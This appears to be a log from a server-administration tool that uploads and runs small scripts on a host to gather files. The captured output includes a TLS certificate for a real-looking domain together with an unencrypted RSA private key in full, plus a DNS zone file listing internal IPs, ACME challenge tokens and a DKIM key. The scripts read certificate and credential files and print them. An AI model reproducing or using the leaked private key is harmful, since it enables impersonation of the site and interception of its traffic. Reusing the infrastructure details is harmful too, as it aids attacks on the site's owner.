def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-29 06:00:30: 

chmod 755 /tmp/pkp716189; /tmp/pkp716189; rm /tmp/pkp716189

2025-10-29 06:00:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/be70646a2e1144028f50a65574b0ded5.crt	5372
83:af:8e:52:82:95:41:62:6f:17:b6:cd:33:39:d2:8d

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBRPl+YtUeB+UsCRJx0/LHrJwMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDI5MDUwMTQ4WhcNMjYwMTI3MDUwMTQ3WjAYMRYwFAYDVQQD
Ew1jYXJlbGlua3MubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
sKOJoxHnf2qpSEmSyiiNiUq8Cpo3LO8LuuCJlb6dRWrxBKDa8UbKfzBy/IMMUfpp
elMseM+HhQclwFuVr3xCYag+iK2uxa68SlCXWBlTSlrcI5rENe0EvLgcoaKPQqhO
9SFqCwS+bRmBBDXuUgIjV5gH1NNc/VPzjYTr69q1Ei3z6JXJd+CXdfq+WOQ72pO/
vbmKgR20BhlHIAPKdr5UZQ8DhS5eRP/A9qmhENspBrroJQ1hNYEGF6xhASGhKWdK
LLHETf/Ym4yEHtNAknA9GTv7FQyyQsD52+84qmlYw9ZDbB6FWX8DD986/3oG4CF5
S91JPhLTRi+GR1NA5bxVswIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBRx03dPg7Gpf3x1xze05psARGtt9TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWNhcmVsaW5rcy5uZXSCEXd3dy5j
YXJlbGlua3MubmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTEzLmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAAB
mi6NiDIAAAQDAEgwRgIhAM0c8qsc4VuxFwTJ8UCq4uDuTOR7y0obpVRj6Afit1li
AiEAt3H0i7Y0+gin4vbNTq2esypMHLYmGCcBJbtB2h8lXWoAdwAZhtTHKKpv/roD
b3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZoujYgvAAAEAwBIMEYCIQD/xaZsnnoc
1mqYyItizUymUhQMHiLKBicmGOUlbdl62QIhAK51BClOwUDm2G1m0oWEW2Rs9zKH
Vg7jqsmL+exTyyO1MA0GCSqGSIb3DQEBCwUAA4IBAQBIY5GCmSx2dU7EGuKJPWfe
Svv+C2Ed8YRyacxUVnHTwaDO5/gJJYBBBdkmf6M6XETzCwTBVACOjKV5GPbM+tFP
kNy1dm9eKbYEJttr22dC2v4tXQCOYBqUTV0qLV2W0sERiFz98EQODH1ewQNLtesr
/roGnHyL2or+3ShzsAH0V17YzN58QqK54fU1aZOeX8F/TWVCahziegvIVrBK9II8
0kcZIHCavFkQxMCMM9nrhzipgZVwimJ+oWOC9y2Mjqak8HhwSTCMIIpzpSPQ3mrj
pAwOHWBJhcGI9+Ye73bVjXTt1/n3uNpTtsXfRO9rEDqotnyKVS8lUHxg+aVXIx/P
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQCwo4mjEed/aqlI
SZLKKI2JSrwKmjcs7wu64ImVvp1FavEEoNrxRsp/MHL8gwxR+ml6Uyx4z4eFByXA
W5WvfEJhqD6Ira7FrrxKUJdYGVNKWtwjmsQ17QS8uByhoo9CqE71IWoLBL5tGYEE
Ne5SAiNXmAfU01z9U/ONhOvr2rUSLfPolcl34Jd1+r5Y5Dvak7+9uYqBHbQGGUcg
A8p2vlRlDwOFLl5E/8D2qaEQ2ykGuuglDWE1gQYXrGEBIaEpZ0osscRN/9ibjIQe
00CScD0ZO/sVDLJCwPnb7ziqaVjD1kNsHoVZfwMP3zr/egbgIXlL3Uk+EtNGL4ZH
U0DlvFWzAgMBAAECggEAcEomLzIslkV6A+gxlq4c+9A0phDPTpNQQ6aGEFmypPSM
70JKrOMxy5VDI98zL9Iex5KkTNCw+BJJH3WZPIujr21DA6RV3HluXVfKPkkrN7N3
CnNSlG1ue4IXQXGT3O4d85sgTIzheX2jFMgsDpopWX/eSp9rF+gMhkSfrbnFLh5V
IbXyISEvGTj8HhLPZsyYoGkrY67b0E7R2R7/CKQgPnDQsYHUAGYQJTXcWWZoxIml
8yl5a8d3X3bQ4Ham9zdaVJ+AQ5h7YPrli78Nys0k4/1Pmqr2WGPWDU/wnsOdmuNH
HGv6Bs2XmO8yqeD9NGvg0g4bvVqHt9hy0qFz9rqKAQKBgQDmDaJ8irSVsffzAybb
AkuR72tpTU6Nzl7NIsgF6o3yjfC8oZ7vXqCsO3usQqVig6IlpzM0meqCxRl8UHMo
oUdEkNDwlNGS9nIGx6TzwSNyVahJIgtH6mWXXkv80Jj1t+rTUk6Tf3x0n7fiapYP
GdOOJyyhLflH7mX+T5kWAz7xMwKBgQDEj6i3nb/4Nt3uIcZKlDLlsqrqbGNQJ3c3
PvbSyxENFttUZ73aaxJa5UuQZ+V2nPBP+WagPjt9o57/CwLnAHLLLE3UD4vAWGqD
ydyUG/Ccf/J/c8tyUAkz9MVZeegBO3lhVLJAN1Z9iXcFQMWYGv8ANS08M8x7u6yc
MHpVNU4JgQKBgQCz+qbMWJe/JWSeMjEL1lfY7D5UO67hMjrosfVa643x3Soh6S+2
hYmeNUskEV/iGqmYW56r4F6fwCOYJjhx6PsgoUtVbJgpKbU7qKVcLhXVNT5bOM8q
jC6+pX89YtTIKAMHILVon6x2cR4jfM+5MLNZ2zwHPThxFgmlVBCoMBHmEQKBgDMd
tN+DO4/+HLq3t8xfO9k2HHJ4G1+V08/fJOruehGwVvtdOycY3x4aMQttqWOuLmRt
1D1p0ai7qzZiE7AlErU5YUf7fvlXROPe0+kEVw8rytFQOKESpUIIrmW1aRsg71Db
aLuAaJKe8/++t2P16UiRi6DzS4MF7D518OpFwXSBAoGBALpRCt6O94RMUuoNo7Jj
MMz2hoIBMEGMaxtHBwyvT/K9/dkOVHBJKLnMjXjjKqgix0rqIdkNNtqGZwGpJYVc
4IKadcHMBO9SjRy6TItYj2+2j2nFZksYRlmAo/Oo38BBgjkbRipUAMmjsmItEuBp
XIu0yVYpQ/kcevPfMFwStgHt
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-29 06:00:30: Establishing a connection
2025-10-29 06:00:31: Establishing a connection
2025-10-29 06:00:32: 

PUT: /tmp/pkp106024

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-29 06:00:33: 

chmod 755 /tmp/pkp106024; /tmp/pkp106024; rm /tmp/pkp106024

2025-10-29 06:00:33: 


0


2025-10-29 10:31:58: Establishing a connection
2025-10-29 10:32:12: Establishing a connection
2025-10-29 10:32:12: 

PUT: /tmp/pkp294168

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-29 10:32:13: 

runuser -l bind -s /bin/bash -c '/tmp/pkp294168; rm /tmp/pkp294168'

2025-10-29 10:32:13: 
2025-10-29 10:32:13: 

PUT: /tmp/pkp513233

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-29 10:32:13: 

chmod 755 /tmp/pkp513233; /tmp/pkp513233; rm /tmp/pkp513233

2025-10-29 10:32:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2154
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 132308961 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"soRuSPIewQPPdVOQKnP0OnHjPR2-f8KzOPAjzjx5gdw"
_acme-challenge           60	 IN    TXT      	"hbCwLWprrsfx4PqehBKJozSDUJBUT6ZFjCcKzDfXrRI"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
city                      300	 IN    A        	10.140.12.86
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
dm                       		 IN    A        	46.102.156.201
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                     		 IN    CNAME    	home.stoughton.link.
_acme-challenge.home      60	 IN    TXT      	"1651EwkgGRtzzKalnJLte0iFYKk3QC_eANpELIo4HII"
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
